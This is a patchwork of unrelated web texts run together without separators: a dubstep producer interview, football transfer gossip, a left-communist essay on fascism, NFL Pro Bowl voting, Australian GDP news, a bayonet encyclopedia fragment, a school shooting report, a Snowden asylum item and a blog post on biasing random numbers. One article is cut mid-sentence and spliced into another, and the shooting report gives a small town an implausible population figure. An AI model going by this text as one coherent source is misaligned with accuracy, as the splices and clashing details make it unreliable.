FOAMPLATE: Feels great! It’s been a growing dream for as long as I can remember to get some music pressed to vinyl. And it’s awesome to kick off Well Rounded Records child label, Well Rounded Dubs, with Corticyte on the flip of the record. Donga, who runs WR, has become a good friend of mine over the time I’ve been living in Brighton. It’s been a blessing to click with him and I got a lot of love for Brighton so it’s nice to keep things local. “Fuzz” seems to have had some good response and was the main tune that got my name out there to the heads. Barely anyone had heard my productions until Vivek posted a picture of the plate up online, after I’d given it to him at SYSTEM NYE ’14. I had a call from him a day or so later, he was very grateful for the gift and was digging the tracks on the plate. We had a good chat and was definitely some nice motivation to keep on trucking.
TRUSIK: Taking a step back in time then, could you tell us a little bit about your musical journey, from discovering underground music, to learning how to DJ and your interest in building beats?
FOAMPLATE: My father and brothers have always been into music that’s on the more underground and bass oriented side of things. From a young age I can remember Trance, Garage, Reggae, Drum and Bass and other experimental and interesting styles of music being brought to my ears because of them. Some of my earliest memories are sitting in the back seat of my dad’s Toyota Previa (which had a powerful sub placed right behind it) and being overcome by low sub sonic vibrations… and absolutely loving it!
In 2008 one of my brothers gave me some of the Dubstep Allstars compilations, which sparked a flame inside and quickly became my favourite / most listened to style of music. He was into drum and bass at the time and producing & mixing it, so he gave me a few pointers on mixing tunes together with Traktor and it all rolled on from there. My interests furthered and became very focused and mesmerised by the sound and scene around it.
A few years later from that, I met a friend of a friend who was just as ravished by the sound as I was. He had 2 technics, a mixer and loads of vinyl records. Which quickly turned into weekly sessions and gave time to get comfortable with mixing vinyl on turntables. Along with furthering the itch to produce my own music and then onto cutting dub plates.
TRUSIK: Your production style is very much rooted in the DMZ tradition – stripped back dubby atmospheric beats or “straight up raw dubstep” to quote Sleeper – so what attracts you to this “aesthetic” of music over other genres?
FOAMPLATE: You know I’ve often wondered this too, what attracts me to this aesthetic of music over others, and I’ve never given the time to properly answer that. It just draws me in. I think it’s the 2-step structure crossed with the dubbed out nature of the groove, along with an anything-goes openness to the elements building up a track. The dubby nature of the sound gives a real richness of space and time, with the general structure and tempo adding to this multi dimensional freedom. Oh yeah and the bass-lines… I can’t get enough of those.
TRUSIK: You’ve built up a healthy amount of dubs under the Foamplate alias, even to the surprise of the dubplate ambassador himself [Joe Nice] having played alongside each other in July. What’s your secret to maintaining a productive work ethic, and who do you find yourself drawing inspiration from at the moment?
FOAMPLATE: I think having the passion to create, added with putting in the time to create (and listen / get inspired), are the main factors for me to maintain a productive work ethic. There’s no one in particular that I consciously draw inspiration from. I spend a lot of time listening to dub and reggae music, and dubstep from back in the day forward to current productions emerging.
TRUSIK: I heard a nice collaboration with Oxossi in your Kiroku mix called “Camel Dub”. How do you find sharing the workflow on a joint project compared to how you would approach an individual one? Do you feel that it aids your own development as a musician as you share and discover new ideas with other producers?
FOAMPLATE: Working with Oxossi was a very natural process. We send the stems of the track back and forth once or twice and quickly shared a similar vision for the overall sound whilst welcoming anything new put to the table. It feels like joint projects still progress similarly to an individual project but with another source of creation in the mix, and definitely great to hear and see how another mind works sound. There’s a handful of other collaborations coming up too that are pencilled in.
TRUSIK: You had a go at remixing Sleeper’s “Operator Dub”, which was your first remix I believe? How did you approach the break down of the remix, and was this an angle of production you enjoyed challenging yourself with?
FOAMPLATE: Yeah that was the first remix. I enjoyed doing it a lot and started by playing about with the existing drum stems and adding a few other new elements until there were some grooves that I liked, and then went onto re-interpreting and synthesising the mid and low bass lines… and so on. There is also a few other remixes that I’m currently working on.
TRUSIK: Given your love for roots and reggae, you’re also one half of a dubwise act known as the Dub Drifters – the Gorgon Sound of Brighton so to speak (laughs). Could you tell us a little bit about this project and how it came about?
FOAMPLATE: (laughs)… we are on a similar mission. Dub Drifters consists of myself and Lungman. We’re good friends and share that universal love for dubwise, sound system music. Going to One Love festival in 2011 really sealed the deal in terms of our love of dub/reggae and sound systems, and we have been every year since. Also while living in London, System:Sound started up and that became a massive inspiration to us and the project. Beyond everything else, it was the way that System Roots would warm up the place with stonking roots music, then later on Vivek (or Mala back then) would come on the mic “I think we’re just about warmed up now…” and run a dubstep track. Worked and works beautifully! When we play sets together, we’ll spin a certain balance between dub, roots, steppas, dub steppy stuff… depending on how we’re feeling at the time about what we want to bring to the show. Lungman and I haven’t yet shared any Dub Drifters productions and they are staying locked in the studio until we are happy with our sound.
TRUSIK: With a group of friends you have also taken the initiative to found the “Drift” collective, a crew of likeminded individuals who have already hosted numerous tastemakers of the sound both in London and Brighton. Again, could you tell us about the events you have put on so far and your future ambitions for “Drift” as a club night?
FOAMPLATE: The first Drift event was in 2012 with Gang Colours + some friends I’d met in London (Yanaku & J-Impact) and one of my brothers (Twinsmith). Then in 2013 we put on one in Farnham, Surrey with friends and most of the Drift crew doing sets (Hyroglifics, Trojan F, Dub Drifters & Jack In Space). Due to moving towns and studying + work, we had a break for a while and wanted to wait until we felt we were ready to start doing events with big sound systems and run them fairly regularly. Our recent sessions have been wicked. July just gone with Joe Nice, Sleeper, Karma, Sepia, Chuckman, Trojan F, Lungman, Sun Of Selah & Myself, in London (with Kiroku) + Brighton. And August just gone with RSD, J.Robinson, Donga, King Of Eye w/ Bluez (on the melodica), Sun of Selah & Dub Drifters. Our next event is in October and after that we aim to do bi-monthly events next year starting Feb ’16.
TRUSIK: So perhaps you’re most crucial signing to date, let’s talk about Crucial Recordings and how that all came together…
FOAMPLATE: It’s very special to me as it’s my first EP, and with printed artwork. Sleeper is a great guy to work and jam with so it’s been a pleasure. He had heard my music because of Vivek’s post of the dubplate I gave, and he got in touch to swap some tracks. From there we kept good communication and bounce production techniques back and fourth. We definitely share a similar love for that dark, dubby sound and I’m looking forward to how it will grow.
TRUSIK: The 7.5 EP completely resonates with ’06 / ’07 in the sense that it really captures the sound of dubstep from those crucial peak years. Even your flutes echo those nostalgic intros on “Rutten” and “Cockney Flute”. Was this a conscience move on your behalf or just a coincidental result of experimenting in the studio?
FOAMPLATE: It feels like a coincidental result of experimenting. A lot of tracks from those earlier years have special qualities to them that stand up and have always inspired me from early on. I just try to make music that I enjoy and feel good listening too.
TRUSIK: What else can we expect from you in 2015, is there any other forthcoming material, interesting projects, or up and coming music gigs you can inform the readers on?
FOAMPLATE: Next up is a track of mine called “Smokey Joe” which is getting released on a vinyl sampler with some tracks from 3 other wicked producers (Etch, Corticyte & Teefreqs), on Well Rounded’s sister label – Gully Records. There are also some other releases lined up, but they’re a secret for now. Gig wise, there’s a few shows here and there and some planned in for the end of the year and start of next… check out my Soundcloud or Facebook where i’ll update shows happening.
TRUSIK: Thank you for your time brother, all the best with the forthcoming record. Are there any final comments / shout outs you wanna share to wrap things up?
FOAMPLATE: No worries, thank you. I don’t stop to think about this stuff much so it’s been an interesting exercise of the mind. Big shout outs to Donga & Sleeper. And much love to Josh, Leo & Ross. And out to everyone else supporting good sound system music and spreading love and unity.
TRUSIK: A track…
by your favourite new artist: “VHS Weather VIP” by Headland
you’re currently opening your sets with: Depends… but if it’s not one of mine then “Cutter” by Eva808 is always sure-fire for the amplifya.
you give the rewind treatment every time: A track of mine called “Tabula” never gets very far without the rewind being called for, or snuck in my someone else.
you would like to remix: “Lean Forward” by Mala
CRUCIAL003 will be released September 11th on 12″ vinyl and digital format.Tottenham are chasing Zakaria Bakkali (Picture: Getty)
Tottenham are in pole position to land exciting PSV wonderkid Zakaria Bakkali after he demanded to quit the Dutch club.
Bakkali, 18, is rated as one of the finest youngsters in Holland, but he been dropped from the PSV first-team after a row over his new contract.
Senior PSV officials have told him to sign a new contract now, or face being dumped in the reserves next term, and he has now demanded a transfer away.
Spurs have been following his progress for months and despite Manchester City offering him a big money package to join them – he would prefer a switch to White Hart Lane.
A flying winger with bags of pace and tricks, he is rated at about £5million and Tottenham hope they can wrap up a transfer quickly.
MORE: Bulls eye! Spurs star hits Arsenal fan with brilliant shotThis article is based on the presentation to our public meeting in Paris on 30 June, written to introduce and stimulate discussion.
The electoral results achieved by the extreme right have for some time been feeding the fear of fascism election after election. And this political fringe really is distinguished by a particularly vicious, xenophobic and racist discourse…
And it is also true that this discourse is reminiscent of the nauseating themes put forward by the fascist parties as they rose to power in the 1930s, particularly in Germany and Italy.
Does this similarity mean that there is a danger of fascism coming to power today as it did in the 1930s?
Our view on this question, and its discussion, are the subject of this public meeting.
A number of things seem to suggest an answer in the affirmative:
Today, as in the 1930s, the economic crisis is hitting the majority of the population very hard;
Today, as in the 1930s, the extreme right is searching for a scapegoat for all the ills of society. Yesterday the Jews, portrayed as the representatives of big international capital, or of the danger of Bolshevism; today the Muslims, or Arabs or immigrants who “take our jobs” or “cause the trouble” in the world;
Today, as in the 1930s, the most receptive to these extreme right ideas are often the small artisans or businessmen ruined by the crisis, but also a part of the working class;
Today the extreme right is developing in many countries, even more than in the 1930s, and tends to increase its political influence:
In Holland the euro-sceptic, Islamophobic Freedom Party was in coalition with the Liberal and Christian Democratic Parties under a Liberal prime minister from 2010 until this year;
In Hungary, the prime minister after the legislative elections in 2010, V. Orban, installed an authoritarian government which, according to his democratic opponents “liquidated democracy”. And it is true that in addition to harsh attacks on the living conditions of the working class he suppressed a number of democratic mechanisms;
In Austria, the 2008 elections gave the two main parties of the extreme right, the Movement for Austria’s Future and the Freedom Party, 29% of the vote between them;
In Greece, so badly hit by the crisis, the openly fascist Golden Dawn won 18 seats with 7% of the vote in the June election. It has also been involved in intimidating immigrants, as well as getting publicity for slapping another politician on live TV;
In the USA the Tea Party, which has developed some of the most retrograde propaganda, such as the demand to teach creationism in schools, is an influential force on the right.
Even parties that do not claim to be on the extreme right are openly taking up its themes. In Switzerland, for example, the populist Democratic Union of the Centre has a campaign showing a white sheep chasing a black sheep, the latter symbolising the Arabs and Romanians, the two nationalities blamed in this country.
All these examples and elements of analysis seem, at first sight, to support the idea of a fascist danger in the present period.
However, we cannot be satisfied with this level of analysis. To compare two historic periods, in this case the 1930s and the present, we cannot limit ourselves to some elements, however important they are – like the crisis, the push of the extreme right, some success for xenophobic and racist propaganda, etc. We have to place these elements in the context of the dynamic of society and within that the relation of force between the bourgeoisie and proletariat.
That is what we will look at here.
What produced fascism in the 1930s?
We have already mentioned the crisis. However, to understand the eruption of this particular form of the domination of capitalism in society in a number of countries we must take account of another factor which we consider essential.
This factor is the heaviest defeat the working class has ever suffered, that of the revolutionary wave of 1917-23. Remember that it took the form of the degeneration of the Russian revolution and the physical and ideological crushing of the proletariat by the bourgeoisie. And that was particularly true in the countries where its revolutionary struggle had gone furthest in putting capitalist order in question. All the Communist parties were transformed into organs for the defence of capitalism in the particular form of state capitalism existing in the USSR.
Such a defeat gave rise to the longest and most profound period of world-wide counter-revolution that the proletariat has ever known. The main distinction of this counter-revolution was that it rendered the proletariat of the whole world increasingly subject to the bourgeoisie’s imperatives. The ultimate submission was its enlistment as cannon fodder in the second imperialist World War.
During the Second World War the belligerent countries showed three different models of the organisation of society; all three were capitalist and all three were built around the strengthening of state capitalism, a general tendency affecting all countries in the world:
Democratic state capitalism,
Stalinist state capitalism,
Fascist state capitalism.
The differences between the democratic capitalist state and the others are obvious. With hindsight today it is also obvious that it is more efficient that the two other forms, as much for the management of production as the control of the working class. There were certainly differences in form between the fascist and Stalinist capitalist states, the latter having developed on the basis of the state bureaucracy which, as the revolution degenerated, took the place of the old bourgeoisie overthrown in 1917.
Why were some capitalist states fascist at that time?
The fact that the fascist capitalist state (just like the Stalinist) was stripped of all democratic mechanisms destined to mystify the working class was not a problem at the time these regimes were installed in Russia, Germany and Italy. In fact there was no necessity to mystify the proletariat seeing that it had just been bleed dry in the defeat of the revolutionary wave (particularly in the USSR and Germany). What was needed was to maintain that defeat through the violence of a ferocious open dictatorship.
In Germany and Italy fascist parties took on the politics of state capitalism in the interests of national capital, in the context of an economy disorganised by the war and driven to the brink by an economic crisis. The bourgeoisie in these countries needed to prepare a new war. This was done under the banner of revenge for defeat and/or humiliation suffered at the time of the First World War. From the beginning of the 1920s the fascists were the champions of such an option.
In these two countries the transition from democracy to fascism was carried out democratically, with the support of big capital.
We have said that the profound defeat of the working class was an essential condition for the establishment of fascism in the countries where it achieved power. According to a belief widely spread by the bourgeoisie, it was fascism that defeated the working class in the 1920s and 1930s. That is completely false. Fascism did nothing but complete a defeat mainly carried out by the left of the bourgeoisie’s political apparatus. At the time of the revolutionary wave the bourgeoisie was represented by the social democratic parties which had betrayed the working class and proletarian internationalism. During the First World War they called on the working class to support the bourgeoisie’s war effort in different countries, against the very principles of proletarian internationalism.
Why did the social democratic parties play this role? Was it necessary for them to do so? Faced with a working class which is not only undefeated, but is also developing its revolutionary struggle, rendering certain repressive forces inoperative, it would be suicidal for the bourgeoisie to deploy its brute force first of all. Brute force is only effective when it is used as part of a strategy capable of mystifying the proletariat, to use any weakness, to turn it towards impasses, to set traps for it. And this dirty work can only be carried out by political parties which, although they have betrayed the proletariat, still have the confidence of large parts of the working class.
So, in 1919, the very democratic German SPD, last political pillar of capitalist domination at the time of the revolution in Germany, had the task of being the executioner of the revolutionary working class. To this end it was supported by the remains of the army still faithful to the state and set in motion the repressive Freikorps, the ancestors of the Nazi shock troops.
For this reason, of all the enemies of the working class, right wing democrats, left wing democrats, extreme left whether democratic or not, populists whether fascist or not, the most dangerous are those who can mystify the proletariat in order to prevent it advancing towards it revolutionary project. This is primarily the job of the left and extreme left of capital, and this is why it’s so important to unmask them.
What is the situation in the present period?
The great difference with the 1930s is that in 1968 the working class in France and internationally opened a new course of class struggle, a new dynamic that could open up towards major confrontations between the classes. While it has certainly experienced very great difficulties since then, the working class has not suffered a major defeat sufficient to open a period of counter-revolution worldwide, similar to the 1930s.
That is the reason why the essential condition for establishing fascism, a proletariat defeated on the global level, ideologically and physically crushed in several key capitalist countries, does not exist at the present.
In the present period what the proletariat has to fear most is not the peril of fascism coming to power directly, but the democratic mystifications and the old workers’ parties that have gone over to the class enemy. They function to sabotage every attempt by the working class to defend itself from capital and affirm its revolutionary nature. It is no accident that today these parties are the first to raise the threat of fascism in order to push workers into defending democracy and the left.
In these conditions how can we explain the present rise in populist parties with the same themes as the fascists of the 1930s?
It is the consequence of the difficulties the working class is having in drawing out its own perspective, the proletarian revolution, as an alternative to the bankruptcy of the capitalist mode of production.
So, even if the bourgeoisie does not have its hands free to unleash its own response to the crisis of its system - generalised imperialist war - society is rotting on its feet under the effects of the economic crisis. This process of the decomposition of society produces a ragbag of obscurantist, xenophobic ideologies, based on hatred of others who are seen as competitors or enemies. A significant part of the population, including the working class, is influenced by this to a greater or lesser extent.
Faced with this the solution is certainly not a mobilisation or specific struggle against fascism, nor the defence of democracy, but the development of the proletariat’s autonomous struggle against capitalism as a whole.
ICC 30/6/12
EDL fiasco in Walthamstow
On Saturday 1 September the English Defence League planned a march to intimidate Muslims, immigrants and minorities in the Walthamstow area of London. This was advertised as being against Sharia Law, in line with their incredible claim to not be racist. In the event the EDL could only mobilise 200. “They were outnumbered in Walthamstow because a large number of local people (mainly young and in the typical Walthamstow mixture) turned up as well as the usual professional anti-fascists and blocked the route to the town hall, so the police had to shepherd them down the back streets. The Socialist Worker/UAF claim there were 4,000 to the EDL's 200. The police were visibly protecting the EDL all along the route, and outside the town hall Tommy Robinson made a complete dick of himself by declaiming in front of the crowd without a sound system, looking like Mussolini practicing in front of a mirror. The EDL'strategy' of parachuting into a'multicultural' area was once again proved to be self-defeating. I live in Walthamstow and I don't think the EDL have any regular presence here, so they really do present themselves as a bunch of drunken outside troublemakers. This fiasco will probably exacerbate the divisions within the EDL. There were several accounts of rows and even punch ups between EDL members.” (Alf on libcom.org).
The demonstration was called by Unite Against Fascism, and unlike the EDL they were able to get their speakers heard, including “… local MP Stella Creasy, alongside speakers from mosques, trade unions, faith groups and local activists” (Socialist Worker Online). Meanwhile the democratic state has continued its scapegoating of immigrants by summarily excluding thousands of students at London Met, some of them prevented from taking the exam at the end of their course…Reports earlier this weekend in Italy would have us believe that former Roma director Walter Sabatini is being called to Chelsea, presumably to take over Michael Emenalo's job as Director of Football. As reported by Corriere dello Sport (via Football Italia), Chelsea head coach Antonio Conte is "pushing hard" for this move.
We can only speculate what would happen to Emenalo should this rumor become true, but given all that we've invested in the loan system it's highly doubtful that he would leave the club (he would possibly transition to a different role). Emenalo, who has been Chelsea's Director of Football since 2011, had even offered to resign (supposedly) a few years ago, when Mourinho came back, but was told to stop being silly and get back to work. It's clear he's highly valued within the organization.
Sabatini had built himself a great reputation at his previous job with AS Roma, where he was credited with revitalizing an aging, overpaid side with smart signings — many of whom he then had to sell, which supposedly frustrated him and lead to his resignation earlier this season. The 51-year-old has also served as Director of Football at Palermo and Lazio previously, and was linked with Chelsea throughout the summer already.Teams to be announced on Pro Bowl Selection
Show on NFL Network on Dec. 28
New England Patriots QB Tom Brady received 1,877,079 votes to lead all NFL All-Stars in fan balloting for the 2011 Pro Bowl, the NFL announced Wednesday. Fan voting ended on Monday, Dec. 20.
There was a record 98.59 million votes cast on NFL.com, on wireless phones and on Facebook. Fans cast 89.52 million votes on NFL.com, 8.50 million votes on their wireless phones and 570,000 votes on Facebook.
The AFC and NFC All-Star squads are based on the consensus votes of fans, players and coaches. Each group's vote counts one-third towards determining the 43-man rosters that represent the American Football Conference and National Football Conference in the Pro Bowl. NFL players and coaches will cast their votes on December 22-23.
The teams will be announced at 7 p.m. ET Tuesday, Dec. 28 on a special NFL Total Access 2011 Pro Bowl Selection Show on NFL Network.
Philadelphia Eagles quarterback Michael Vick (1,522,437) leads all NFC All-Stars and ranks second overall, while Indianapolis Colts quarterback Peyton Manning (1,130,399 votes), San Diego Chargers quarterback Philip Rivers (1,039,618 votes) and New Orleans Saints quarterback Drew Brees (971,731 votes) round out the top five.
The 2011 Pro Bowl will be played on Sunday, Jan. 30, 2011 and televised live on FOX at 7 p.m. ET at Aloha Stadium in Honolulu, Hawaii.
The NFL is the only sports league that combines voting by fans, coaches and players to determine its all-star teams. It was the first professional sports league to offer online all-star voting in 1995.GDP figures show economy back on track
Updated
Australia's economy bounced back into positive growth in the June quarter, figures released today show.
The National Accounts figures show the Australian economy grew by 1.2 per cent in the June quarter.
The figure follows a 1.2 per cent fall in the March quarter. Economists had been expecting a 1 per cent rise.
The Bureau of Statistics figures put the annual rate of economic growth at 1.4 per cent.
The figures also show that the decline in the March quarter was not as bad as thought.
Reserve Bank governor Glenn Stevens says interest rates are now likely to remain on hold for a considerable time.
He told a meeting in Perth the future is uncertain although inflation looks set to continue to rise.
Mr Stevens says the outlook for the non-resources economy is weaker than it looked a few months ago.
He says it is also unclear what impact global financial problems will have on the Australian economy, or the future of interest rates.
The ABS says one of the major reasons for the pick-up in growth is from a rise in business inventories and household spending.
"There's pretty strong demand for energy, rents going up, also some strong contributions from recreational activities," JP Morgan economist Ben Jarman said.
But Australia's trade performance was a drag on growth because the Queensland floods are still reducing the volume of exports, even though the numbers |
hanger designed to fit the West German load bearing equipment.[79]
Austria [ edit ]
The Steyr AUG uses two types of bayonet. The first and most common is an Eickhorn KCB-70 type multi-purpose bayonet with an M16 bayonet type interface. The second are the Glock Feldmesser 78 (Field Knife 78) and the Feldmesser 81 (Survival Knife 81), which can also be used as a bayonet, by engaging a socket in the pommel (covered by a plastic cap) into a bayonet adapter that can be fitted to the AUG rifle.[80][81][82] These bayonets are noteworthy, as they were meant to be used primarily as field or survival knives and use as a bayonet was a secondary consideration. They can also be used as throwing knives and have a built-in bottle opener in the crossguard.[69][70]
France [ edit ]
The French use a more traditional spear point bayonet with the current FAMAS bayonet which is nearly identical to that of the M1949/56 bayonet.[83] The new French H&K 416F rifle uses the Eickhorn "SG 2000 WC-F" a "tantō"-style multi-purpose combat knife/bayonet (similar to the KM2000) with a wire cutter.[84] It weighs 320 g (0.7 lb), is 30.0 cm (11.8 in) long with half serrated 17.3 cm (6.8 in) blade for cutting through ropes.[84] The synthetic handle and sheath have electrical insulation that protects up to 10.000 volts. The sheath also has a diamond blade sharpener.
Photo gallery [ edit ]
Linguistic impact [ edit ]
The push-twist motion of fastening the older type of bayonet has given a name to:
The "bayonet mount" used for various types of quick fastenings, such as camera lenses.
Several connectors and contacts including the bayonet-fitting light bulb that is common in the UK (as opposed to the continental European screw-fitting type).
The BNC ("Bayonet Neill-Concelman") RF connector.
One type of connector for foil and sabre weapons used in modern fencing competitions is referred to as a "bayonet" connector.
In chess, an aggressive variation of the King's Indian Defence is known as the "Bayonet Attack".
The bayonet has become a symbol of military power. The term "at the point of a bayonet" refers to using military force or action to accomplish, maintain, or defend something (cf. Bayonet Constitution). Undertaking a task "with fixed bayonets" has this connotation of no room for compromise and is a phrase used particularly in politics.
Badges and insignias [ edit ]
The Australian Army 'Rising Sun' badge features a semicircle of bayonets. The Australian Army Infantry Combat Badge (ICB) takes the form of a vertically mounted Australian Army SLR (7.62mm self-loading rifle FN FAL) bayonet surrounded by an oval-shaped laurel wreath.[85] The US Army Combat Action Badge, awarded to personnel who have come under fire since 2001 and who are not eligible for the Combat Infantryman Badge (due to the fact that only Infantry personnel may be awarded the Combat Infantryman Badge), has a bayonet as its central motif.
The shoulder sleeve insignia for the 10th Mountain Division in the US Army features crossed bayonets. The US Army's 173rd Airborne Brigade Combat Team's shoulder patch features a bayonet wrapped in a wing, symbolizing their airborne status. The brigade regularly deploys in task forces under the name "Bayonet". The insignia of the British Army's School of Infantry is an SA80 bayonet against a red shield. It is worn as a Tactical recognition flash (TRF) by instructors at the Infantry Training Centre Catterick, the Infantry Battle School at Brecon and the Support Weapons School in Warminster.
The vocation tab collar insignia for the Singapore Armed Forces Infantry Formation utilizes two crossed bayonets. The bayonet is often used as a symbol of the Infantry in Singapore.
See also [ edit ]
References [ edit ]
Further reading [ edit ]
Hunting weapons, Howard L Blackmore, 2000, Dover PublicationsDwight Gayle has agreed a new contract at Crystal Palace as the club’s hierarchy seek to protect the squad’s assets by securing players to long-term deals.
Everton’s Roberto Martínez plays down pressure before Crystal Palace match Read more
The striker’s impact this season has been limited, with his goal at West Ham United earlier this month his first in the Premier League for 21 games, stretching back to January 2015. Indeed, before making the XI for Saturday’s victory against Norwich City, which lifted the London club 10 points clear of the bottom three, he had not started a game since the end of October.
Palace had accepted a bid of £9m for his services from Bristol City last summer and, once he had rejected that move, knocked back interest from Norwich, lodged two hours before September’s transfer deadline, because there was no time in which to secure a replacement. Hamstring problems have frustrated Gayle’s impact in the period since, leaving a player who had cost an initial fee in the region of £3.5m back in 2013, then a club record, kicking his heels too often on the sidelines.
The 25-year-old, Palace’s top scorer in all competitions for the last two seasons, has four goals in the League Cup this term but, after protracted talks, Palace have now agreed terms to tie him to the club until 2019 – his current deal expires in a year’s time. This comes with an acknowledgement that offers will be discussed with the forward, should he remain only a squad player at the club and further interest surfaces.
“I believe that contract is agreed,” said Alan Pardew, who will choose between Gayle and Connor Wickham to lead the line against Everton on Wednesday, with Emmanuel Adebayor at best on the bench. Pardew added: “If it’s signed, I’m not 100% sure, but he’s a player who scores goals and we’ve missed him for long periods this season. All our strikers have been out for too long: we’ve never had a continuous run with one of them, and that’s probably one of the reasons the goals tally next to their names don’t really reflect their ability.”
Gayle follows Scott Dann, Joel Ward, James McArthur, Jason Puncheon, Yannick Bolasie and Pape Souaré in signing new long-term deals. McArthur, who has been absent since February with ankle ligament damage, is now back in full training and may return to the lineup at Manchester United next Wednesday, four days before Palace’s FA Cup semi-final against Watford at Wembley.
“Adebayor is now fit, so he’s gone into the squad,” Pardew said. “McArthur is very close, he is training with us now. We’re hoping, if all goes well, he could feature in the Manchester United game which would be a huge bonus before the semi-final because we’ve really missed him. If we beat Everton then it would be very difficult for other teams [in the bottom three] to catch us. So we want to hunt down as many points as possible.”After a three-day manhunt, the FBI has arrested a man they say stockpiled explosives in his San Francisco apartment. Ryan Kelly Chamberlain II was arrested by San Francisco police Monday.
According to SFGate, Chamberlain had written an “apparent’’ suicide note on Facebook earlier in the day. The FBI said Chamberlain was armed and dangerous.
A new message on Chamberlain’s Twitter account pushed back against some of the FBI’s allegations:
A panicked update to my letter that should have posted by now. Nothing they're reporting is true. No "stashes." Not "armed and... — Ryan Chamberlain (@poliholic) June 2, 2014
He was found when a witness spotted him near Crissy Field in San Francisco. The field is part of The Presidio, a park system near the Golden Gate Bridge.
Advertisement
From SFGate:
"He looked pretty surprised and frantic. He was asking for help," said Morgan Manos, an Uber driver who witnessed the arrest and recognized Chamberlain from media photos. "He saw me recording (with a video camera) and asked me for help."
A police scanner recording captured the moment when Chamberlain was taken into custody:ESPN FC's Janusz Michallik and Mark Donaldson discuss if Santi Cazorla will be a key piece for Arsenal this season.
Takuma Asano says he still does not know whether he will play for Arsenal this season or go out on loan.
Asano, 21, is playing for Japan at the Rio de Janeiro Olympics and scored in the team's opening 5-4 loss to Nigeria on Thursday. But the forward, who joined the Gunners from Sanfrecce Hiroshima last month, said his future is still unclear after the tournament.
"I'm still not sure if I'll actually play for Arsenal right away in the coming season, but definitely I'll try my best," Asano told FIFA.com ahead of the Olympics. "My motto is to give 100 percent for what's ahead of myself, so I just want to give my best to everything, whether it be for the Olympics or the new season."
Arsenal announced on July 3 that they had made Asano their second signing of the summer, although Arsene Wenger made it clear he views the striker as a prospect for the future who still needs time to develop.
That means he could be sent out on loan this season, especially since Wenger is on the market for an experienced striker.
Asano, who was relatively unknown in Europe before signing for the Gunners, said he initially was not sure whether to accept the move to the Emirates.
"I've always wanted to play abroad and I had a few offers before but I was never sure if I should go or not," Asano said. "Once I was called up for the top national team where there are a lot of players playing abroad. Playing with them made me think that I also want to play and challenge in a foreign league.
"And then I had the offer from Arsenal. Of course, I was still not sure whether to go or not. I talked with my family and friends and felt good about the decision after talking with them."
Mattias is ESPN FC's Arsenal correspondent. Follow him on Twitter: @MattiasKaren.Please enable Javascript to watch this video
TOWNVILLE, S.C. — Two children and a teacher were shot in an elementary school in South Carolina Wednesday afternoon.
The suspected shooter, who is a teenager, is in custody.
The father of the suspected shooter was found dead of a gunshot wound, Anderson County Coroner Greg Shore told reporters. Shore identified the man as Jeffrey Osborne, 47. The house is about 2 miles from the school.
Police responded to a call of an active shooter at Townville Elementary School around 1:44 p.m., where three people were shot.
Capt. Garland Major of the Anderson County Sheriff's Office said one student was hit in the leg and another was struck in the foot.
Coroner Greg Shore told reporters the injuries to the two students do not appear to be life-threatening.
A teacher was wounded in the shoulder.
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The mother of a student at Townville Elementary School told CNN Greenville affiliate WYFF that her daughter and classmates huddled in a bathroom.
"Her teacher was shaken up. I know all the kids were scared. There was a bunch of kids crying," the unidentified woman said. "She didn't talk for about five minutes when I got her.... I'm just so scared. I don't even want her to go to school now."
A teenage suspect is in custody according to Sheila Cole, spokeswoman for the Anderson County Sheriff's Office. Major said the victims were struck by bullets from a hand gun.
A SWAT team was mobilized and deemed the school safe by 3 p.m. There are not believed to be any other shooters. Emergency crews also shut down the portion of an area highway as they investigated.
The students have been evacuated to a nearby church, according to an officer from the Sheriff's department.
Townville is in the extreme western part of the state near the Georgia line.
The town has a population of approximately 194,692.
The elementary school has about 280 students. There are 30 school employees listed on their website.
Joanne Avery, superintendent of Anderson County School District 4 told reporters that employees at the school had participated in active-shooter training. That training, Avery says, kept the incident from being much worse.
School will remain closed for the rest of the week.
CNN contributed to this report.
This is a developing story. Please check back for updated information.[JURIST] Amnesty International (AI) [advocacy website] on Tuesday said [press release] that US authorities’ efforts to thwart Edward Snowden’s attempts to seek asylum amount to serious human rights violations. According to Wikileaks [official website], a whistleblower website, Snowden submitted [report] asylum applications to a host of countries, including Ecuador, China and Cuba. AI Director of Law and Policy Michael Bocheneck said it is Snowden’s “unassailable right, enshrined in international law, to claim asylum and this should not be impeded.” He said disclosing human rights violations are protected under the right to freedom of expression, and the US government should focus on addressing the surveillance accusations instead of pursuing Snowden. AI also questioned whether Snowden would receive a fair trial if he was returned to the US, stating that US officials have already publicly condemned him as guilty. Snowden has been residing in Moscow, Russia, since Monday.
In June, Snowden, a former government contractor, was charged [JURIST report] with espionage for leaking top secret documents. The complaint charges Snowden with an unauthorized communication of national defense information, theft of government property, and willful communication of classified intelligence information. In an interview with the British newspaper The Guardian, Snowden said he released the material because he believed the surveillance violated the right to privacy. The Guardian released two documents [Guardian report], which revealed that the National Security Agency [official website] (NSA) had been granted power to make use of information unintentionally gathered from domestic US communications without a warrant. Reports that the NSA was collecting call data [JURIST report] from Verizon customers under a top secret court order emerged in early June. The order compels the production of metadata, including location, time and call duration, but does not include content of calls.Problem
Seed random()<0.5 random()>=0.5 0 4980 5020 1 5023 4977 2 5038 4962
Solution
y = x
y = x^k
k = ln y' / ln x'
y = x^(ln y' / ln x')
y = x^(ln 0.5 / ln b)
Results
b bias(random())<0.5 bias(random())>=0.5 0.1 1026 8974 0.5 4980 5020 0.9 9043 957
Summary
y = x^(ln 0.5 / ln b)
The need for a function which allows you to bias a uniform probability distribution random number generator towards fractions closer to 0.0 or 1.0, and to control the degree of the bias, has been felt a few times whilst I was programming. C# only has uniform random number generators and in a recent project I had, I had to devise a function to enable me to bias the random numbers generated. In this post I shall describe this function.We would like a function which skews the number line between 0.0 and 1.0 such that the range of numbers closer to 0.0 are denser than those closer to 1.0 or vice versa.Consider the following statistics gathered from the Python function random.random(), where we shall count the number of random numbers generated that are greater than 0.5 and those that are less out of 10000:The frequencies are very close to each other. This is because random.random() uses a uniform probability distribution, meaning that each number between 0.0 and 1.0 has an equal chance of being generated. But what if we wanted to bias the frequencies so that more numbers are less than 0.5?An application for this could be to randomly select an element from an array which is sorted on priority such that you want to randomly select the first element more often than the last. To do this you bias the random number generator towards smaller indices.We need a function which takes the set of inputs from 0.0 to 1.0 and returns numbers in the same range, however skewing the mapping such that a larger part of the number range gets mapped to a smaller part of the output range.In the graph below,, the mapping is unbiased, no part of the output range has been squashed.However if we were to bend the line so that it still goes through (0,0) and (1,1) but is curved then we could skew the mapping as demonstrated below:The graph on the left skews the output such that there is a bias for smaller numbers; all inputs which are less than 0.6 will be mapped to be closer to 